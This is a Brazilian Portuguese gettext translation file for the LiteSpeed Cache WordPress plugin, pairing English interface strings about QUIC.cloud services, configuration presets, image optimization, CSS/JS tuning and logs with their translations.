#: tpl/cdn/qc.tpl.php:41 tpl/dash/dashboard.tpl.php:158
#: tpl/general/online.tpl.php:64 tpl/general/online.tpl.php:119
msgid "Enable QUIC.cloud services"
msgstr "Ativar os serviços do QUIC.cloud"

#: tpl/cdn/qc.tpl.php:38 tpl/general/online.tpl.php:61
#: tpl/general/online.tpl.php:145
msgid "Free monthly quota available."
msgstr "Cota mensal gratuita disponível."

#: tpl/cdn/qc.tpl.php:36 tpl/dash/dashboard.tpl.php:150
msgid "Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>."
msgstr "Acelere ainda mais seu site WordPress com os <strong>serviços on-line e CDN do QUIC.cloud</strong>."

#: tpl/cdn/qc.tpl.php:34 tpl/dash/dashboard.tpl.php:146
msgid "Accelerate, Optimize, Protect"
msgstr "Acelere, otimize e proteja"

#: tpl/cdn/qc.tpl.php:29
msgid "Check the status of your most important settings and the health of your CDN setup here."
msgstr "Verifique o status das suas configurações mais importantes e a integridade da configuração do CDN aqui."

#: tpl/cdn/qc.tpl.php:27
msgid "QUIC.cloud CDN Status Overview"
msgstr "Visão geral do status do CDN do QUIC.cloud"

#: tpl/cdn/qc.tpl.php:24 tpl/dash/dashboard.tpl.php:885
msgid "Refresh Status"
msgstr "Atualizar status"

#: tpl/cdn/entry.tpl.php:16
msgid "Other Static CDN"
msgstr "Outro CDN estático"

#: tpl/banner/new_version.php:113 tpl/banner/score.php:141
#: tpl/banner/slack.php:48
msgid "Dismiss this notice."
msgstr "Dispensar esta notificação."

#: tpl/banner/cloud_promo.tpl.php:35
msgid "Send to twitter to get %s bonus"
msgstr "Enviar ao Twitter para receber um bônus de %s"

#: tpl/banner/cloud_promo.tpl.php:26
msgid "Spread the love and earn %s credits to use in our QUIC.cloud online services."
msgstr "Espalhe o amor e ganhe %s créditos para usar em nossos serviços on-line do QUIC.cloud."

#: src/media.cls.php:434
msgid "No backup of unoptimized AVIF file exists."
msgstr "Não existe nenhum backup do arquivo AVIF não otimizado."

#: src/media.cls.php:426
msgid "AVIF saved %s"
msgstr "%s economizado em AVIF"

#: src/media.cls.php:420
msgid "AVIF file reduced by %1$s (%2$s)"
msgstr "Arquivo AVIF reduzido em %1$s (%2$s)"

#: src/media.cls.php:411
msgid "Currently using original (unoptimized) version of AVIF file."
msgstr "No momento, usando a versão original (não otimizada) do arquivo AVIF."

#: src/media.cls.php:404
msgid "Currently using optimized version of AVIF file."
msgstr "No momento, usando a versão otimizada do arquivo AVIF."

#: src/lang.cls.php:214
msgid "WebP/AVIF For Extra srcset"
msgstr "WebP/AVIF para srcset adicional"

#: src/lang.cls.php:209
msgid "Next-Gen Image Format"
msgstr "Formato de imagem de última geração"

#: src/img-optm.cls.php:2027
msgid "Enabled AVIF file successfully."
msgstr "Arquivo AVIF ativado."

#: src/img-optm.cls.php:2022
msgid "Disabled AVIF file successfully."
msgstr "Arquivo AVIF desativado."

#: src/img-optm.cls.php:1374
msgid "Reset image optimization counter successfully."
msgstr "Contador de otimização de imagens redefinido."

#: src/file.cls.php:133
msgid "Filename is empty!"
msgstr "O nome do arquivo está vazio!"

#: src/error.cls.php:69
msgid "You will need to finish %s setup to use the online services."
msgstr "Você precisa concluir a configuração do %s para usar os serviços on-line."

#: src/cloud.cls.php:2029
msgid "Sync QUIC.cloud status successfully."
msgstr "Status do QUIC.cloud sincronizado."

#: src/cloud.cls.php:1977
msgid "Linked to QUIC.cloud preview environment, for testing purpose only."
msgstr "Vinculado ao ambiente de pré-visualização do QUIC.cloud, apenas para fins de teste."

#: src/cloud.cls.php:1710
msgid "Click here to proceed."
msgstr "Clique aqui para continuar."

#: src/cloud.cls.php:1709
msgid "Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account."
msgstr "Site não reconhecido. O QUIC.cloud foi desativado automaticamente. Reative sua conta do QUIC.cloud."

#: src/cloud.cls.php:708
msgid "Reset %s activation successfully."
msgstr "A ativação do %s foi redefinida."

#: src/cloud.cls.php:602 src/cloud.cls.php:640 src/cloud.cls.php:680
msgid "Congratulations, %s successfully set this domain up for the online services with CDN service."
msgstr "Parabéns! O %s definiu este domínio para os serviços on-line com o serviço de CDN."

#: src/cloud.cls.php:597
msgid "Congratulations, %s successfully set this domain up for the online services."
msgstr "Parabéns! O %s configurou este domínio para os serviços on-line."

#: src/cloud.cls.php:595
msgid "Congratulations, %s successfully set this domain up for the anonymous online services."
msgstr "Parabéns! O %s configurou este domínio para os serviços on-line anônimos."

#: src/cloud.cls.php:573
msgid "%s activation data expired."
msgstr "Os dados de ativação do %s expiraram."

#: src/cloud.cls.php:566
msgid "Failed to parse %s activation status."
msgstr "Falha ao analisar o status de ativação do %s."

#: src/cloud.cls.php:559
msgid "Failed to validate %s activation data."
msgstr "Falha ao validar os dados de ativação do %s."

#: src/cloud.cls.php:300
msgid "Cert or key file does not exist."
msgstr "O arquivo de certificado ou chave não existe."

#: src/cloud.cls.php:282 src/cloud.cls.php:328 src/cloud.cls.php:355
#: src/cloud.cls.php:371 src/cloud.cls.php:390 src/cloud.cls.php:408
msgid "You need to activate QC first."
msgstr "Você precisa ativar o QC primeiro."

#: src/cloud.cls.php:238 src/cloud.cls.php:290
msgid "You need to set the %1$s first. Please use the command %2$s to set."
msgstr "Você precisa definir o %1$s primeiro. Use o comando %2$s para definir."

#: src/cloud.cls.php:180 src/cloud.cls.php:260
msgid "Failed to get echo data from WPAPI"
msgstr "Falha ao coletar os dados de eco da WPAPI"

#: src/admin-settings.cls.php:104
msgid "The user with id %s has editor access, which is not allowed for the role simulator."
msgstr "O usuário com o ID %s tem acesso de editor, o que não é permitido para o simulador de funções."

#: src/error.cls.php:95
msgid "You have used all of your quota left for current service this month."
msgstr "Você usou toda a sua cota restante para o serviço atual neste mês."

#: src/error.cls.php:87 src/error.cls.php:100
msgid "Learn more or purchase additional quota."
msgstr "Saiba mais ou compre cotas adicionais."

#: src/error.cls.php:82
msgid "You have used all of your daily quota for today."
msgstr "Você usou toda a sua cota diária de hoje."

#: tpl/page_optm/settings_html.tpl.php:108
msgid "If comment to be kept is like: %1$s write: %2$s"
msgstr "Se o comentário a ser mantido for do tipo: %1$s escrever: %2$s"

#: tpl/page_optm/settings_html.tpl.php:106
msgid "When minifying HTML do not discard comments that match a specified pattern."
msgstr "Ao minificar o HTML, não descartar comentários que correspondam a um determinado padrão."

#: tpl/cache/settings-advanced.tpl.php:39
msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space."
msgstr "Especifique uma ação AJAX em POST/GET e o número de segundos para armazenar em cache esta solicitação, separados por um espaço."

#: src/lang.cls.php:150
msgid "HTML Keep Comments"
msgstr "Manter comentários em HTML"

#: src/lang.cls.php:98
msgid "AJAX Cache TTL"
msgstr "TTL do cache AJAX"

#: src/error.cls.php:112
msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now."
msgstr "Você tem imagens aguardando para serem extraídas. Aguarde a conclusão da extração automática ou extraia-as manualmente agora."

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all orphaned post meta records"
msgstr "Limpar todos os registros de metadados de posts órfãos"

#: tpl/db_optm/manage.tpl.php:25
msgid "Orphaned Post Meta"
msgstr "Metadados de posts órfãos"

#: tpl/dash/dashboard.tpl.php:863
msgid "Best available WordPress performance"
msgstr "O melhor desempenho disponível para WordPress"

#: src/db-optm.cls.php:203
msgid "Clean orphaned post meta successfully."
msgstr "Metadados de posts órfãos limpos."

#: tpl/img_optm/summary.tpl.php:325
msgid "Last Pulled"
msgstr "Última extração"

#: tpl/cache/settings_inc.login_cookie.tpl.php:104
msgid "You can list the 3rd party vary cookies here."
msgstr "Você pode listar os cookies de variação de terceiros aqui."

#: src/lang.cls.php:227
msgid "Vary Cookies"
msgstr "Cookies de variação"

#: tpl/page_optm/settings_html.tpl.php:75
msgid "Preconnecting speeds up future loads from a given origin."
msgstr "Pré-conectar acelera os carregamentos futuros a partir de uma origem específica."

#: thirdparty/woocommerce.content.tpl.php:72
msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents."
msgstr "Se o seu tema não usa JavaScript para atualizar o mini carrinho, você deve ativar esta opção para exibir o conteúdo correto do carrinho."

#: thirdparty/woocommerce.content.tpl.php:71
msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty."
msgstr "Gerar uma cópia de cache variável separada para o mini carrinho quando o carrinho não estiver vazio."

#: thirdparty/woocommerce.content.tpl.php:63
msgid "Vary for Mini Cart"
msgstr "Variável para o mini carrinho"

#: src/lang.cls.php:160
msgid "DNS Preconnect"
msgstr "Pré-conexão de DNS"

#: src/doc.cls.php:38
msgid "This setting is %1$s for certain qualifying requests due to %2$s!"
msgstr "Essa configuração está %1$s para determinadas solicitações qualificadas devido a %2$s!"

#: tpl/page_optm/settings_tuning.tpl.php:43
msgid "Listed JS files or inline JS code will be delayed."
msgstr "Os arquivos JS listados ou o código JS embutido serão atrasados."

#: tpl/crawler/map.tpl.php:58
msgid "URL Search"
msgstr "Pesquisa de URL"

#: src/lang.cls.php:162
msgid "JS Delayed Includes"
msgstr "Inclusões de JS atrasados"

#: src/cloud.cls.php:1495
msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more."
msgstr "Sua domain_key foi temporariamente incluída em uma lista de bloqueios para evitar abusos. Entre em contato com o suporte em QUIC.cloud para saber mais."

#: src/cloud.cls.php:1490
msgid "Cloud server refused the current request due to unpulled images. Please pull the images first."
msgstr "O servidor em nuvem recusou a solicitação atual devido a imagens não recuperadas. Obtenha as imagens primeiro."

#: tpl/crawler/summary.tpl.php:110
msgid "Current server load"
msgstr "Carga atual do servidor"

#: src/object-cache.cls.php:714
msgid "Redis encountered a fatal error: %1$s (code: %2$d)"
msgstr "O Redis encontrou um erro fatal: %1$s (código: %2$d)"

#: src/img-optm.cls.php:890
msgid "Started async image optimization request"
msgstr "Iniciada a solicitação de otimização de imagem assíncrona"

#: src/crawler.cls.php:230
msgid "Started async crawling"
msgstr "Rastreamento assíncrono iniciado"

#: src/conf.cls.php:509
msgid "Saving option failed. IPv4 only for %s."
msgstr "Falha ao salvar a opção. Apenas IPv4 para %s."

#: src/cloud.cls.php:1502
msgid "Cloud server refused the current request due to rate limiting. Please try again later."
msgstr "O servidor em nuvem recusou a solicitação atual devido a limitação de taxa. Tente novamente mais tarde."

#: tpl/img_optm/summary.tpl.php:298
msgid "Maximum image post id"
msgstr "ID máximo do post da imagem"

#: tpl/img_optm/summary.tpl.php:297 tpl/img_optm/summary.tpl.php:372
msgid "Current image post id position"
msgstr "Posição atual do ID do post da imagem"

#: src/lang.cls.php:25
msgid "Images ready to request"
msgstr "Imagens prontas para solicitar"

#: tpl/dash/dashboard.tpl.php:384 tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54 tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr "Redetectar"

#. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket
#. path
#. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value
#: tpl/cache/settings_inc.object.tpl.php:107
#: tpl/cache/settings_inc.object.tpl.php:146
msgid "If you are using a %1$s socket, %2$s should be set to %3$s"
msgstr "Se você estiver usando um soquete %1$s, %2$s deve ser definido como %3$s"

#: src/root.cls.php:198
msgid "All QUIC.cloud service queues have been cleared."
msgstr "Todas as filas de serviço QUIC.cloud foram limpas."

#. translators: %s: The type of the given cache key.
#: src/object-cache-wp.cls.php:245
msgid "Cache key must be integer or non-empty string, %s given."
msgstr "A chave de cache deve ser um número inteiro ou uma string não vazia, foi fornecido %s."

#: src/object-cache-wp.cls.php:242
msgid "Cache key must not be an empty string."
msgstr "A chave de cache não deve ser uma string vazia."

#: src/lang.cls.php:171
msgid "JS Deferred / Delayed Excludes"
msgstr "Exclusões de JS adiado/atrasado"

#: src/doc.cls.php:153
msgid "The queue is processed asynchronously. It may take time."
msgstr "A fila é processada de forma assíncrona. Isso pode levar algum tempo."

#: src/cloud.cls.php:1190
msgid "In order to use QC services, need a real domain name, cannot use an IP."
msgstr "Para usar os serviços do QC, é necessário um nome de domínio real; não é possível usar um IP."

#: tpl/presets/standard.tpl.php:195
msgid "Restore Settings"
msgstr "Restaurar configurações"

#: tpl/presets/standard.tpl.php:193
msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?"
msgstr "Isso irá restaurar as configurações de backup criadas %1$s antes de aplicar a predefinição %2$s. Quaisquer alterações feitas desde então serão perdidas. Deseja continuar?"

#: tpl/presets/standard.tpl.php:189
msgid "Backup created %1$s before applying the %2$s preset"
msgstr "Backup criado %1$s antes de aplicar a predefinição %2$s"

#: tpl/presets/standard.tpl.php:178
msgid "Applied the %1$s preset %2$s"
msgstr "Aplicada a predefinição %1$s %2$s"

#: tpl/presets/standard.tpl.php:175
msgid "Restored backup settings %1$s"
msgstr "Configurações de backup restauradas %1$s"

#: tpl/presets/standard.tpl.php:173
msgid "Error: Failed to apply the settings %1$s"
msgstr "Erro: Falha ao aplicar as configurações %1$s"

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr "Histórico"

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr "desconhecido"

#: tpl/presets/standard.tpl.php:133
msgid "Apply Preset"
msgstr "Aplicar predefinição"

#: tpl/presets/standard.tpl.php:131
msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?"
msgstr "Isso fará backup das suas configurações atuais e as substituirá pelas configurações predefinidas do %1$s. Deseja continuar?"

#: tpl/presets/standard.tpl.php:121
msgid "Who should use this preset?"
msgstr "Quem deve usar esta predefinição?"

#: tpl/presets/standard.tpl.php:96
msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between."
msgstr "Use uma predefinição oficial projetada pelo LiteSpeed para configurar seu site com um único clique. Experimente o armazenamento em cache \"Essenciais\" sem risco, ou a otimização \"Extremo\" ou algo intermediário."

#: tpl/presets/standard.tpl.php:92
msgid "LiteSpeed Cache Standard Presets"
msgstr "Predefinições padrão do LiteSpeed Cache"

#: tpl/presets/standard.tpl.php:85
msgid "A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores."
msgstr "É necessário ter uma conexão com o QUIC.cloud para usar esta predefinição. Ativa o nível máximo de otimizações, para melhorar as pontuações de velocidade da página."

#: tpl/presets/standard.tpl.php:84
msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images."
msgstr "Esta predefinição quase certamente exigirá testes e exclusões para alguns CSS, JS e imagens de carregamento tardio. Preste atenção especial aos logos ou imagens de controle deslizante (sliders) baseados em HTML."

#: tpl/presets/standard.tpl.php:81
msgid "Inline CSS added to Combine"
msgstr "CSS embutido adicionado para combinar"

#: tpl/presets/standard.tpl.php:80
msgid "Inline JS added to Combine"
msgstr "JS embutido adicionado para combinar"

#: tpl/presets/standard.tpl.php:79
msgid "JS Delayed"
msgstr "JS atrasado"

#: tpl/presets/standard.tpl.php:78
msgid "Viewport Image Generation"
msgstr "Geração de imagens da janela de visualização (viewport)"

#: tpl/presets/standard.tpl.php:77
msgid "Lazy Load for Images"
msgstr "Carregamento tardio para imagens"

#: tpl/presets/standard.tpl.php:76
msgid "Everything in Aggressive, Plus"
msgstr "Tudo do Agressivo, e mais"

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr "Extremo"

#: tpl/presets/standard.tpl.php:69
msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning."
msgstr "Esta predefinição pode funcionar imediatamente em alguns sites, mas certifique-se de testar! Algumas exclusões de CSS ou JS podem ser necessárias em Otimização de página > Ajuste."

#: tpl/presets/standard.tpl.php:66
msgid "Lazy Load for Iframes"
msgstr "Carregamento tardio para iframes"

#: tpl/presets/standard.tpl.php:65
msgid "Removed Unused CSS for Users"
msgstr "Remoção de CSS não usado para usuários"

#: tpl/presets/standard.tpl.php:64
msgid "Asynchronous CSS Loading with Critical CSS"
msgstr "Carregamento assíncrono de CSS com CSS crítico"

#: tpl/presets/standard.tpl.php:63
msgid "CSS & JS Combine"
msgstr "Combinação de CSS e JS"

#: tpl/presets/standard.tpl.php:62
msgid "Everything in Advanced, Plus"
msgstr "Tudo do Avançado, e mais"

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr "Agressivo"

#: tpl/presets/standard.tpl.php:56 tpl/presets/standard.tpl.php:70
msgid "A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores."
msgstr "É necessário ter uma conexão com o QUIC.cloud para usar esta predefinição. Inclui muitas otimizações conhecidas por melhorar as pontuações de velocidade da página."

#: tpl/presets/standard.tpl.php:55
msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools."
msgstr "Esta predefinição é adequada para a maioria dos sites e é improvável que cause conflitos. Quaisquer conflitos de CSS ou JS podem ser resolvidos com as ferramentas em Otimização de página > Ajuste."

#: tpl/presets/standard.tpl.php:50
msgid "Remove Query Strings from Static Files"
msgstr "Remover strings de consulta de arquivos estáticos"

#: tpl/presets/standard.tpl.php:48
msgid "DNS Prefetch for static files"
msgstr "Pré-busca de DNS para arquivos estáticos"

#: tpl/presets/standard.tpl.php:47
msgid "JS Defer for both external and inline JS"
msgstr "Adiar JS para JS externo e embutido"

#: tpl/presets/standard.tpl.php:45
msgid "CSS, JS and HTML Minification"
msgstr "Minificação de CSS, JS e HTML"

#: tpl/presets/standard.tpl.php:44
msgid "Guest Mode and Guest Optimization"
msgstr "Modo de visitante e otimização de visitantes"

#: tpl/presets/standard.tpl.php:43
msgid "Everything in Basic, Plus"
msgstr "Tudo do Básico, e mais"

#: tpl/presets/standard.tpl.php:41
msgid "Advanced (Recommended)"
msgstr "Avançado (recomendado)"

#: tpl/presets/standard.tpl.php:37
msgid "A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools."
msgstr "É necessário ter uma conexão com o QUIC.cloud para usar esta predefinição. Inclui otimizações conhecidas por melhorar a pontuação do site em ferramentas de medição de velocidade da página."

#: tpl/presets/standard.tpl.php:36
msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners."
msgstr "Esta predefinição de baixo risco apresenta otimizações básicas para velocidade e experiência do usuário. Apropriada para iniciantes entusiastas."

#: tpl/presets/standard.tpl.php:33
msgid "Mobile Cache"
msgstr "Cache para dispositivos móveis"

#: tpl/presets/standard.tpl.php:31
msgid "Everything in Essentials, Plus"
msgstr "Tudo do Essenciais e mais"

#: tpl/presets/standard.tpl.php:25
msgid "A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled."
msgstr "Não é necessário ter uma conexão com o QUIC.cloud para usar esta predefinição. Apenas os recursos básicos de cache estão ativados."

#: tpl/presets/standard.tpl.php:24
msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development."
msgstr "Esta predefinição sem risco é adequada para todos os tipos de sites. É indicada para novos usuários, sites simples ou desenvolvimento orientado para cache."

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr "TTL mais alto"

#: tpl/presets/standard.tpl.php:19
msgid "Default Cache"
msgstr "Cache padrão"

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr "Essenciais"

#: tpl/presets/entry.tpl.php:23
msgid "LiteSpeed Cache Configuration Presets"
msgstr "Predefinições de configuração do LiteSpeed Cache"

#: tpl/presets/entry.tpl.php:16
msgid "Standard Presets"
msgstr "Predefinições padrão"

#: tpl/page_optm/settings_tuning_css.tpl.php:52
msgid "Listed CSS files will be excluded from UCSS and saved to inline."
msgstr "Os arquivos CSS listados serão excluídos do UCSS e salvos de forma embutida."

#: src/lang.cls.php:142
msgid "UCSS Selector Allowlist"
msgstr "Lista de permissões do seletor UCSS"

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr "Predefinições"

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr "Benefícios para parceiros fornecidos por"

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr "Registros do LiteSpeed"

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr "Registro de rastreamento"

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr "Limpar registro"

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr "Impedir a gravação de entradas de registro que incluam strings (cadeias de caracteres) listadas."

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr "Ver site antes do cache"

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr "Ver site antes da otimização"

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr "Auxiliares de depuração"

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr "Ativar a geração automática de imagens na janela de visualização (viewport) via cron."

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr "Isso permite que o conjunto inicial de imagens da página seja totalmente exibido sem atrasos."

#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr "O serviço de imagens na janela de visualização (viewport) detecta quais imagens aparecem acima da dobra e as exclui do carregamento tardio (lazy load)."

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr "Quando você usa o \"Carregamento tardio\", ele atrasará o carregamento de todas as imagens em uma página."

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr "Use %1$s para ignorar a verificação das dimensões de imagem remotas quando %2$s estiver ATIVADO."

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr "VPI"

#: tpl/general/settings.tpl.php:72 tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr "%s deve estar ATIVADO para que esta configuração funcione."

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr "Imagem da janela de visualização (viewport)"

#: tpl/crawler/blacklist.tpl.php:79
msgid "API: Filter %s available to disable blocklist."
msgstr "API: Filtro %s disponível para desativar a lista de bloqueio."

#: tpl/crawler/blacklist.tpl.php:69
msgid "API: PHP Constant %s available to disable blocklist."
msgstr "API: Constante PHP %s disponível para desativar a lista de bloqueio."

#: thirdparty/litespeed-check.cls.php:75 thirdparty/litespeed-check.cls.php:123
msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:"
msgstr "Considere desativar os seguintes plugins detectados, pois eles podem entrar em conflito com o LiteSpeed Cache:"

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr "Dispositivo móvel"

#: src/metabox.cls.php:31
msgid "Disable VPI"
msgstr "Desativar VPI"

#: src/metabox.cls.php:30
msgid "Disable Image Lazyload"
msgstr "Desativar carregamento lento de imagens"

#: src/metabox.cls.php:29
msgid "Disable Cache"
msgstr "Desativar cache"

#: src/lang.cls.php:264
msgid "Debug String Excludes"
msgstr "Exclusões de string de depuração"

#: src/lang.cls.php:203
msgid "Viewport Images Cron"
msgstr "Cron de imagens da janela de visualização (viewport)"

#: src/lang.cls.php:202 src/metabox.cls.php:32 src/metabox.cls.php:33
#: tpl/page_optm/settings_vpi.tpl.php:23
msgid "Viewport Images"
msgstr "Imagens da janela de visualização (viewport)"

#: src/lang.cls.php:53
msgid "Alias is in use by another QUIC.cloud account."
msgstr "O alias está sendo usado por outra conta QUIC.cloud."

#: src/lang.cls.php:51
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain."
msgstr "Não é possível adicionar automaticamente %1$s como um alias de domínio para o domínio principal %2$s."

#: src/lang.cls.php:46
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict."
msgstr "Não é possível adicionar automaticamente %1$s como um alias de domínio para o domínio principal %2$s, devido a um possível conflito com o CDN."

#: src/error.cls.php:232
msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible."
msgstr "Você não pode remover esta zona DNS, pois ela ainda está em uso. Atualize os servidores de nomes do domínio e tente excluir esta zona novamente, caso contrário, seu site ficará inacessível."

#: src/error.cls.php:135
msgid "The site is not a valid alias on QUIC.cloud."
msgstr "O site não é um alias válido no QUIC.cloud."

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr "Teste minuciosamente cada arquivo JS que você adicionar para garantir que funcione conforme o esperado."

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr "Testar minuciosamente todos os itens em %s para garantir que funcionem conforme o esperado."

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr "Use %1$s para ignorar o UCSS para as páginas cujo tipo de página seja %2$s."

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr "Use %1$s para gerar um único UCSS para as páginas cujo tipo de página seja %2$s, enquanto os outros tipos de página continuam por URL."

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr "Filtro %s disponível para geração de UCSS por tipo de página."

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr "O modo visitante falhou no teste."

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr "O modo visitante passou no teste."

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr "Testando"

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr "Resultado do teste do modo visitante"

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr "Não está na lista de bloqueio"

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr "Saiba mais sobre quando isso é necessário"

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr "Todas as entradas de recursos localizadas foram limpas."

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr "Ver .htaccess"

#: tpl/toolbox/edit_htaccess.tpl.php:63 tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr "Você pode usar este código %1$s em %2$s para especificar o caminho do arquivo .htaccess."

#: tpl/toolbox/edit_htaccess.tpl.php:62 tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr "A constante %s do PHP é suportada."

#: tpl/toolbox/edit_htaccess.tpl.php:58 tpl/toolbox/edit_htaccess.tpl.php:76
msgid "Default path is"
msgstr "O caminho padrão é"

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr "Caminho do .htaccess"

#: tpl/general/settings.tpl.php:49
msgid "Please read all warnings before enabling this option."
msgstr "Leia todos os alertas antes de ativar esta opção."

#: tpl/toolbox/purge.tpl.php:83
msgid "This will delete all generated unique CSS files"
msgstr "Isso irá excluir todos os arquivos de CSS únicos gerados"

#: tpl/toolbox/beta_test.tpl.php:84
msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions."
msgstr "Para evitar um erro de atualização, você deve estar usando %1$s ou posterior antes de poder atualizar para versões %2$s."

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Use latest GitHub Dev/Master commit"
msgstr "Use o último commit Dev/Master do GitHub"

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing."
msgstr "Pressione o botão %s para usar o commit mais recente do GitHub. Master é para candidato a lançamento e Dev é para testes experimentais."

#: tpl/toolbox/beta_test.tpl.php:72
msgid "Downgrade not recommended. May cause fatal error due to refactored code."
msgstr "Desaconselhamos a reversão de versão. Pode causar erros fatais devido ao código reestruturado."

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr "Otimizar apenas as páginas para visitantes em modo convidado (não conectados). Se DESATIVADO, os arquivos CSS/JS/CCSS serão duplicados para cada grupo de usuários."

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr "Os arquivos JS listados ou o código JS embutido não serão otimizados pelo %s."

#: tpl/page_optm/settings_tuning_css.tpl.php:92
msgid "Listed URI will not generate UCSS."
msgstr "O URI listado não irá gerar UCSS."

#: tpl/page_optm/settings_tuning_css.tpl.php:74
msgid "The selector must exist in the CSS. Parent classes in the HTML will not work."
msgstr "O seletor deve existir no CSS. Classes principais no HTML não funcionarão."

#: tpl/page_optm/settings_tuning_css.tpl.php:70
#: tpl/page_optm/settings_tuning_css.tpl.php:145
msgid "Wildcard %s supported."
msgstr "Caractere curinga %s é suportado."

#: tpl/page_optm/settings_media_exc.tpl.php:34
